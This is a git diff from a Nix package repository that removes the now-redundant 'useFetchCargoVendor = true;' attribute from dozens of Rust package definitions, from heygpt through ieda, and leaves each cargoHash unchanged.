diff --git a/pkgs/by-name/he/heygpt/package.nix b/pkgs/by-name/he/heygpt/package.nix
index fce8cc8469f4..c652d9041ba7 100644
--- a/pkgs/by-name/he/heygpt/package.nix
+++ b/pkgs/by-name/he/heygpt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oP0yIdYytXSsbZ2pNaZ8Rrak1qJsudTe/oP6dGncGUM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-z5Y/dhDEAd6JcWItlGyH+kDxHxIiyJw0KrjiTDT+Fwc=";
 
   nativeBuildInputs = [ openssl ];
diff --git a/pkgs/by-name/hi/hickory-dns/package.nix b/pkgs/by-name/hi/hickory-dns/package.nix
index 3f0195da142b..bc4e14045e50 100644
--- a/pkgs/by-name/hi/hickory-dns/package.nix
+++ b/pkgs/by-name/hi/hickory-dns/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-sPVulok18WAWyCXDNJzjioCO733vHmCcC5SjYrs/T+E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-q54faGF/eLdCRB0Eljkgl/x78Fnpm0eAEK9gCUwiAgo=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/hi/highlight-assertions/package.nix b/pkgs/by-name/hi/highlight-assertions/package.nix
index 3d5be23b51f1..56df0193ec72 100644
--- a/pkgs/by-name/hi/highlight-assertions/package.nix
+++ b/pkgs/by-name/hi/highlight-assertions/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-7r8tBJ6JFGUGUsTivzlO23hHiXISajjn2WF12mmbmMg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-egrxcnDVKKgk1sL5WNMIR2FPwQbjjMy20VWizcTBEtM=";
 
   # requires nightly features
diff --git a/pkgs/by-name/hi/hiksink/package.nix b/pkgs/by-name/hi/hiksink/package.nix
index f9a361179d69..7602bfde23a6 100644
--- a/pkgs/by-name/hi/hiksink/package.nix
+++ b/pkgs/by-name/hi/hiksink/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-k/cBCc7DywyBbAzCRCHdrOVmo+QVCsSgDn8hcyTIUI8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P5h0jYSSy6i30g93Jor98vOmniJCA4eMyQkI8TLfbN8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/hi/himalaya/package.nix b/pkgs/by-name/hi/himalaya/package.nix
index 1df06f28cd71..f3797f616c17 100644
--- a/pkgs/by-name/hi/himalaya/package.nix
+++ b/pkgs/by-name/hi/himalaya/package.nix
@@ -45,8 +45,6 @@ rustPlatform.buildRustPackage {
     rev = "v${version}";
   };
 
-  useFetchCargoVendor = true;
-
   buildNoDefaultFeatures = noDefaultFeatures;
   buildFeatures = features;
 
diff --git a/pkgs/by-name/hl/hl-log-viewer/package.nix b/pkgs/by-name/hl/hl-log-viewer/package.nix
index 41bceea04380..b11152ddc99b 100644
--- a/pkgs/by-name/hl/hl-log-viewer/package.nix
+++ b/pkgs/by-name/hl/hl-log-viewer/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   cargoHash = "sha256-YsDgLPr2V628QCDIOPcx2XQlaomicWZKZ24vXNgxRVE=";
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [ installShellFiles ];
 
diff --git a/pkgs/by-name/hm/hmm/package.nix b/pkgs/by-name/hm/hmm/package.nix
index 270227b33aea..efe6febfd0b7 100644
--- a/pkgs/by-name/hm/hmm/package.nix
+++ b/pkgs/by-name/hm/hmm/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WPePzqZ2iGeJ7kzTj8eg7q1JEjw91WY7gViJJ46SLRY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wyuV+jWY7w4VDn314yRkqmeqgRijPb+XgmUiy73U3Zc=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/ho/hoard/package.nix b/pkgs/by-name/ho/hoard/package.nix
index 11b888c4c59b..6bd991daeae1 100644
--- a/pkgs/by-name/ho/hoard/package.nix
+++ b/pkgs/by-name/ho/hoard/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-c9iSbxkHwLOeATkO7kzTyLD0VAwZUzCvw5c4FyuR5/E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+XZL0a7/9Ic6cmym3ctwmGMu4xjGPCA2E7OrBj7Bfvw=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ho/hors/package.nix b/pkgs/by-name/ho/hors/package.nix
index df6adfb63088..35bcbe9d6fa3 100644
--- a/pkgs/by-name/ho/hors/package.nix
+++ b/pkgs/by-name/ho/hors/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1q17i8zg7dwd8al42wfnkn891dy5hdhw4325plnihkarr50avbr0";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JTHgOEBpGXPO3C7YUbBF0LFeSUQK+R2w1LugwMV5xyU=";
 
   # requires network access
diff --git a/pkgs/by-name/ho/hot-resize/package.nix b/pkgs/by-name/ho/hot-resize/package.nix
index aab1ef132931..8a8101fb009e 100644
--- a/pkgs/by-name/ho/hot-resize/package.nix
+++ b/pkgs/by-name/ho/hot-resize/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-JB1U7mL3rkrsekmKt+0J1nnbtnlk/typIIfz3E+1moc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+POAqB0msStix5KNqVwy8ckLEQ/rUsD52BtyetuKt2I=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ht/htb-toolkit/package.nix b/pkgs/by-name/ht/htb-toolkit/package.nix
index fcbe4894d368..bd068d877a63 100644
--- a/pkgs/by-name/ht/htb-toolkit/package.nix
+++ b/pkgs/by-name/ht/htb-toolkit/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-NTZv0BPyIB32CNXbINYTy4n8tNVJ3pRLr1QDhI/tg2Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ReEe8pyW66GXIPwAy6IKsFEAUjxHmzw5mj21i/h4quQ=";
 
   # Patch to disable prompt change of the shell when a target machine is run. Needed due to Nix declarative nature
diff --git a/pkgs/by-name/ht/htmlq/package.nix b/pkgs/by-name/ht/htmlq/package.nix
index a4f68c8a285a..00a2cd913865 100644
--- a/pkgs/by-name/ht/htmlq/package.nix
+++ b/pkgs/by-name/ht/htmlq/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-kZtK2QuefzfxxuE1NjXphR7otr+RYfMif/RSpR6TxY0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QUlR6PuOLbeAHzARtTo7Zn7fmjs2ET6TdXT4VgCYEVg=";
 
   doCheck = false;
diff --git a/pkgs/by-name/ht/htmx-lsp/package.nix b/pkgs/by-name/ht/htmx-lsp/package.nix
index 74e67231ee8e..30404d6d0a70 100644
--- a/pkgs/by-name/ht/htmx-lsp/package.nix
+++ b/pkgs/by-name/ht/htmx-lsp/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CvQ+vgo3+qUOj0SS6/NrapzXkP98tpiZbGhRHJxEqeo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EQHNFiyQ7TwY4LldMFOTX0epilU76LPOiHQIIUsNhS8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ht/htmx-lsp2/package.nix b/pkgs/by-name/ht/htmx-lsp2/package.nix
index dd5ef8c5675d..f4205c8c983e 100644
--- a/pkgs/by-name/ht/htmx-lsp2/package.nix
+++ b/pkgs/by-name/ht/htmx-lsp2/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Okd4jPCZvVDWIXj7aRLRnrUOT0mD3rBr6VDEgoWXRZE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NDse9cgwnPDziVgPz7KBwoZcttypSB98EGoK4zN4tG4=";
 
   meta = {
diff --git a/pkgs/by-name/ht/httm/package.nix b/pkgs/by-name/ht/httm/package.nix
index 4df4be1898aa..f1e3524b12bc 100644
--- a/pkgs/by-name/ht/httm/package.nix
+++ b/pkgs/by-name/ht/httm/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vB0gdIDa5E9K5/IPPq+XVPzHHLXSMOJqVFUgYf+qdt8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BTKXhDwJkAXpqVYECr1640mgsr08E7H6Ap6qOrXdyYU=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ht/httplz/package.nix b/pkgs/by-name/ht/httplz/package.nix
index 695d17726b38..195fbf7efde2 100644
--- a/pkgs/by-name/ht/httplz/package.nix
+++ b/pkgs/by-name/ht/httplz/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uxEMgSrcxMZD/3GQuH9S/oYtMUPzgMR61ZzLcb65zXU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DXSHaiiIRdyrlX4UYPFD3aTAv65k3x/PU2VW047odH0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/hu/huion-switcher/package.nix b/pkgs/by-name/hu/huion-switcher/package.nix
index 668543cb4e36..624e0309111c 100644
--- a/pkgs/by-name/hu/huion-switcher/package.nix
+++ b/pkgs/by-name/hu/huion-switcher/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     installShellFiles
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-yj55FMdf91ZG95yuMt3dQFhUjYM0/sUfFKB+W+5xEfo=";
 
   postInstall = ''
diff --git a/pkgs/by-name/hu/hullcaster/package.nix b/pkgs/by-name/hu/hullcaster/package.nix
index 1fe9c515b884..3a86468ff19f 100644
--- a/pkgs/by-name/hu/hullcaster/package.nix
+++ b/pkgs/by-name/hu/hullcaster/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TaELX/xMxm7OTmVnvkgEmdhnVrIlxSNqlE73+I5qxCc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jso9ofchUjpsck0qJN3rfFVM1Y6C8APmhwNzapU7Mug=";
 
   # work around error: Could not create filepath: /homeless-shelter/.local/share
diff --git a/pkgs/by-name/hu/humility/package.nix b/pkgs/by-name/hu/humility/package.nix
index b6eb5d2183a7..4460d5bb305b 100644
--- a/pkgs/by-name/hu/humility/package.nix
+++ b/pkgs/by-name/hu/humility/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-BzLduU2Wu4UhmgDvvuCEXsABO/jPC7AjptDW8/zePEk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GZkHPoDKiqTVwRAWXXbELXC1I/KRO+9sshY8/rGbA4A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hu/huniq/package.nix b/pkgs/by-name/hu/huniq/package.nix
index 739b1e1ef0f6..92f2b2395069 100644
--- a/pkgs/by-name/hu/huniq/package.nix
+++ b/pkgs/by-name/hu/huniq/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5GvHM05qY/Jj1mPYwn88Zybn6Nn5nJIaw0XP8iCcrwE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pE2LmoUUrIiKECte97AO2i5Ef22/qZwby/EDxTUr0x4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hu/hunt/package.nix b/pkgs/by-name/hu/hunt/package.nix
index 6c4c255ea472..bce8c2354224 100644
--- a/pkgs/by-name/hu/hunt/package.nix
+++ b/pkgs/by-name/hu/hunt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-aNU4Ik033+kl9ZPHFzaAXZ6Hs+b7m5s0lpr1oovmWm0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rf/aBxuiv6c0cUJcFTCYoQPIEwCfhQQZqVSk0BxSzfQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hu/hurl/package.nix b/pkgs/by-name/hu/hurl/package.nix
index 833c3cb3942b..7a5d15e62fad 100644
--- a/pkgs/by-name/hu/hurl/package.nix
+++ b/pkgs/by-name/hu/hurl/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NtvBw8Nb2eZN0rjVL/LPyIdY5hBJGnz/cDun6VvwYZE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WyNActmsHpr5fgN1a3X9ApEACWFVJMVoi4fBvKhGgZ0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/hv/hvm/package.nix b/pkgs/by-name/hv/hvm/package.nix
index 72038f23c864..30be3418d8e8 100644
--- a/pkgs/by-name/hv/hvm/package.nix
+++ b/pkgs/by-name/hv/hvm/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sed -i '6G' tests/snapshots/run__file@empty.hvm.snap
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nLcT+o6xrxPmQqK7FQpCqTlxOOUA1FzqRGQIypcq4fo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hw/hwatch/package.nix b/pkgs/by-name/hw/hwatch/package.nix
index 2e8916032f39..3b34d14841cc 100644
--- a/pkgs/by-name/hw/hwatch/package.nix
+++ b/pkgs/by-name/hw/hwatch/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-lMsBzMDMgpHxcQFtfZ4K7r2WRUaVR8Ry/kPvwfzPObI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UnaZZEmX5XoTVFLEFj5JkJXJkjoUBwzJokfffJTPP4M=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/hy/hydra-check/package.nix b/pkgs/by-name/hy/hydra-check/package.nix
index 10c3b31c195a..81d690552ad3 100644
--- a/pkgs/by-name/hy/hydra-check/package.nix
+++ b/pkgs/by-name/hy/hydra-check/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TdMZC/EE52UiJ+gYQZHV4/ReRzMOdCGH+n7pg1vpCCQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-G9M+1OWp2jlDeSDFagH/YOCdxGQbcru1KFyKEUcMe7g=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/hy/hydra-cli/package.nix b/pkgs/by-name/hy/hydra-cli/package.nix
index e7467882d85d..9bbbf2c77257 100644
--- a/pkgs/by-name/hy/hydra-cli/package.nix
+++ b/pkgs/by-name/hy/hydra-cli/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/hydra-cli";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JnfonNdy87Ol6j8x3270RrVv/13vNLEa1n+/aeEbc7U=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/hy/hyperfine/package.nix b/pkgs/by-name/hy/hyperfine/package.nix
index 6b2f2b68e900..7fdf04ceef7f 100644
--- a/pkgs/by-name/hy/hyperfine/package.nix
+++ b/pkgs/by-name/hy/hyperfine/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-c8yK9U8UWRWUSGGGrAds6zAqxAiBLWq/RcZ6pvYNpgk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eZpGqkowp/R//RqLRk3AIbTpW3i9e+lOWpfdli7S4uE=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/hy/hyperlink/package.nix b/pkgs/by-name/hy/hyperlink/package.nix
index 602d34cf8465..131e304bc7d8 100644
--- a/pkgs/by-name/hy/hyperlink/package.nix
+++ b/pkgs/by-name/hy/hyperlink/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sx1OW056s40uhwwgGtNKiPkKSUy7/ZzSYGnjc0UKh/E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2/i+YllfS1ZC+nzmjBMJLjcq6Q+upFX2Wc+jmBO4zp0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hy/hyperspeedcube/package.nix b/pkgs/by-name/hy/hyperspeedcube/package.nix
index 3baa8bbd260c..f8813b2dc33e 100644
--- a/pkgs/by-name/hy/hyperspeedcube/package.nix
+++ b/pkgs/by-name/hy/hyperspeedcube/package.nix
@@ -50,7 +50,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ctBvc2xANM/gGzDDv8ygSO4nTOiG6iKyuSKnz385PIw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ebjkEWYeeXHuKQzqbMe8+zVol2vPyLiu7ke5Ng7gbs8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/hy/hyprdim/package.nix b/pkgs/by-name/hy/hyprdim/package.nix
index 895d25fbfe9a..fba6144a7b3e 100644
--- a/pkgs/by-name/hy/hyprdim/package.nix
+++ b/pkgs/by-name/hy/hyprdim/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-o06HnN/E8QWRFOqd9Sxolm4g/fI5+6hYITptnRNAFag=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8xbmVQHMXs9rq4iP5Svx2Zdg/B9WuZuq+hKsokk2m78=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/hy/hyprland-activewindow/package.nix b/pkgs/by-name/hy/hyprland-activewindow/package.nix
index cd501f14cedb..4011c17a1120 100644
--- a/pkgs/by-name/hy/hyprland-activewindow/package.nix
+++ b/pkgs/by-name/hy/hyprland-activewindow/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oH3BsS0KqnNdYe7HWHlfRSiUJx+vC3IveN+mcEgwZLs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mvmjXzHyCegZhZYVod7Hb7Ot0Vwen78fujMCRvWv/uA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hy/hyprland-autoname-workspaces/package.nix b/pkgs/by-name/hy/hyprland-autoname-workspaces/package.nix
index c53b6987794f..22a08790e516 100644
--- a/pkgs/by-name/hy/hyprland-autoname-workspaces/package.nix
+++ b/pkgs/by-name/hy/hyprland-autoname-workspaces/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-M/3mqO7G2E5NW2uE+X8P4UhEl0r1fPXuxyb1NowJQnY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GwLyC1G2RAIvb7c8vFRAUErp1ychY9mSAWhBNzX4Kvk=";
 
   doCheck = false;
diff --git a/pkgs/by-name/hy/hyprland-monitor-attached/package.nix b/pkgs/by-name/hy/hyprland-monitor-attached/package.nix
index 6e3c3426903b..f32568da657d 100644
--- a/pkgs/by-name/hy/hyprland-monitor-attached/package.nix
+++ b/pkgs/by-name/hy/hyprland-monitor-attached/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+bgOOm1B513COcWdUIJ/+GREQH5CR8/RNOcZVkjO2hI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pBg5R7k3xEE1EoSdLO4jmibTnGE+ndZnkWeMO+UXN6Q=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hy/hyprland-per-window-layout/package.nix b/pkgs/by-name/hy/hyprland-per-window-layout/package.nix
index f4df99e3e114..2157d64134c7 100644
--- a/pkgs/by-name/hy/hyprland-per-window-layout/package.nix
+++ b/pkgs/by-name/hy/hyprland-per-window-layout/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Bwdh+Cy5LTRSBDfk4r28FmPRUEHYI++nKRhS9eSSbyg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QXT7utSEF5S5MWAng4fKMoloUJovxLT8oLUK9dJEb/0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hy/hyprland-workspaces-tui/package.nix b/pkgs/by-name/hy/hyprland-workspaces-tui/package.nix
index 6ea9c21eff3a..0134745427e0 100644
--- a/pkgs/by-name/hy/hyprland-workspaces-tui/package.nix
+++ b/pkgs/by-name/hy/hyprland-workspaces-tui/package.nix
@@ -18,8 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DLu7njrD5i9FeNWVZGBTKki70FurIGxtwgS6HbA7YLE=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-1NZrpqbFiYSJtFNnlDwXX4J4rLwa9XlwUT+boMtr4tk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/hy/hyprland-workspaces/package.nix b/pkgs/by-name/hy/hyprland-workspaces/package.nix
index 7a4b12d06f41..8b247c57defc 100644
--- a/pkgs/by-name/hy/hyprland-workspaces/package.nix
+++ b/pkgs/by-name/hy/hyprland-workspaces/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-a5P99aSqhlZqClXAoaUNv/jmuM5duLDf+OzMeKGwDVI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UoL1b+T4z2hAl7GOga68qwAyCtm+Xo+AbyORmwvsqkw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/hy/hyprnome/package.nix b/pkgs/by-name/hy/hyprnome/package.nix
index e9027f1bea35..75005593ddbc 100644
--- a/pkgs/by-name/hy/hyprnome/package.nix
+++ b/pkgs/by-name/hy/hyprnome/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GZn7qS1J6QSanWdy17sMBbwJ77iMij2jKRgPdrjt6tM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qCexb8D0iN3BWOz5L45mR5n9x0nqAh8MHHTp9QTHSOg=";
 
   # Upstream has 'missing_docs = "deny"', which trips up test builds for 0.3.1 release.
diff --git a/pkgs/by-name/hy/hyprsome/package.nix b/pkgs/by-name/hy/hyprsome/package.nix
index 6e49f61b6e5c..5bd8d35b944f 100644
--- a/pkgs/by-name/hy/hyprsome/package.nix
+++ b/pkgs/by-name/hy/hyprsome/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-JiOV9c23yOhaVW2NHgs8rjM8l9qt181Tigf5sCnPep8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7q0PiY3y/+436/hPQ8wq2ry+BfPAbJAbnlJCrwN52Mw=";
 
   meta = {
diff --git a/pkgs/by-name/hy/hyprswitch/package.nix b/pkgs/by-name/hy/hyprswitch/package.nix
index 0eb1b46fc724..2ac125c208b4 100644
--- a/pkgs/by-name/hy/hyprswitch/package.nix
+++ b/pkgs/by-name/hy/hyprswitch/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-cmo544QvdacVTHPqmc6er4xnSSc63e6Z71BS0FxSklE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DEifup2oAcqZplx2JoN3hkP1VmxwYVFS8ZqfpR80baA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/i3/i3-back/package.nix b/pkgs/by-name/i3/i3-back/package.nix
index 722d750002d3..32f12dcbec37 100644
--- a/pkgs/by-name/i3/i3-back/package.nix
+++ b/pkgs/by-name/i3/i3-back/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
   # The tool needs a nightly compiler.
   RUSTC_BOOTSTRAP = 1;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o/um/Ugm3GfDz1daBKxoDD7ailUu6QJ0rj5jcKWB0lM=";
 
   passthru.tests.version = testers.testVersion { package = i3-back; };
diff --git a/pkgs/by-name/i3/i3-open-next-ws/package.nix b/pkgs/by-name/i3/i3-open-next-ws/package.nix
index 9802a3a16684..97e4be1c3ead 100644
--- a/pkgs/by-name/i3/i3-open-next-ws/package.nix
+++ b/pkgs/by-name/i3/i3-open-next-ws/package.nix
@@ -11,7 +11,7 @@ rustPlatform.buildRustPackage rec {
     inherit pname version;
     hash = "sha256-eYHCm8jEv6Ll6/h1kcYHNxWGnVWI41ZB96Jec9oZFsY=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-ND80SweURwVbqxcYwgvnk186BjhISr8Pz0B8BVf0DMY=";
 
   meta = {
diff --git a/pkgs/by-name/i3/i3bar-river/package.nix b/pkgs/by-name/i3/i3bar-river/package.nix
index b43e766ee9f6..0b72c8226594 100644
--- a/pkgs/by-name/i3/i3bar-river/package.nix
+++ b/pkgs/by-name/i3/i3bar-river/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0ux0woVp9HVCJf/oND2AKHj30eNC/w1WDnlPafLTgxM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dwOinrHvk0MRKlbn62MEfmcyXNf+ZfYzVNtv7teRsV4=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ia/iamb/package.nix b/pkgs/by-name/ia/iamb/package.nix
index 0d4d13a18788..355ce347ef02 100644
--- a/pkgs/by-name/ia/iamb/package.nix
+++ b/pkgs/by-name/ia/iamb/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cjBSWUBgfwdLnpneJ5XW2TdOFkNc+Rc/wyUp9arZzwg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fAre0jrpJ63adcg4AKCYzdQtCsd0MMMcWA0RsoHo6ig=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ia/ianny/package.nix b/pkgs/by-name/ia/ianny/package.nix
index 8d14be02987a..3039720f1f85 100644
--- a/pkgs/by-name/ia/ianny/package.nix
+++ b/pkgs/by-name/ia/ianny/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-XNXlU9cCXPJhPytnVGHol8Cd5nZOEDDoDM4sm1+I/Qc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7XpM6WWJaHHui85HCZ7SL1G2ICNw453xfZx5kUa/oeg=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ia/iay/package.nix b/pkgs/by-name/ia/iay/package.nix
index ed75f91ce418..9fc4e45841e5 100644
--- a/pkgs/by-name/ia/iay/package.nix
+++ b/pkgs/by-name/ia/iay/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-oNUK2ROcocKoIlAuNZcJczDYtSchzpB1qaYbSYsjN50=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QO9gzJKSBMs5s1fCfpBuyHDK9uE1B148bMjp8RjH4nY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ic/icnsify/package.nix b/pkgs/by-name/ic/icnsify/package.nix
index 0b8b94925133..7fd06c40a582 100644
--- a/pkgs/by-name/ic/icnsify/package.nix
+++ b/pkgs/by-name/ic/icnsify/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-v8jwN29S6ZTt2XkPpZM+lJugbP9ClzPhqu52mdwdP00=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EDnwoDqQkb3G6/3/ib0p2Zh3dbMbeXozjEaNtYoCj4s=";
 
   meta = {
diff --git a/pkgs/by-name/id/idmail/package.nix b/pkgs/by-name/id/idmail/package.nix
index 039ce22b3ccc..7c955fd469d1 100644
--- a/pkgs/by-name/id/idmail/package.nix
+++ b/pkgs/by-name/id/idmail/package.nix
@@ -32,7 +32,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9rl2UG8DeWd8hVh3N+dqyV5gO0LErok+kZ1vQZnVAe8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UcS2gAoa2fzPu6hh8I5sXSHHbAmzsecT44Ju2CVsK0Q=";
 
   RUSTC_BOOTSTRAP = 1;
diff --git a/pkgs/by-name/ie/ieda/rustpkgs.nix b/pkgs/by-name/ie/ieda/rustpkgs.nix
index 31cb6620ecb0..0cd16953f6dd 100644
--- a/pkgs/by-name/ie/ieda/rustpkgs.nix
+++ b/pkgs/by-name/ie/ieda/rustpkgs.nix
@@ -8,7 +8,7 @@ in
     version = "0.1.3";
     src = rootSrc;
     sourceRoot = "${src.name}/src/operation/iIR/source/iir-rust/iir";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-CV1e/f3oCKW5mTbQnFBnp7E2d9nFyDwY3qclP2HwdPM=";
 
     doCheck = false;
@@ -20,7 +20,7 @@ in
     version = "0.1.0";
     src = rootSrc;
     sourceRoot = "${src.name}/src/database/manager/parser/liberty/lib-rust/liberty-parser";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-nRIOuSz5ImENvKeMAnthmBo+2/Jy5xbM66xkcfVCTMI=";
 
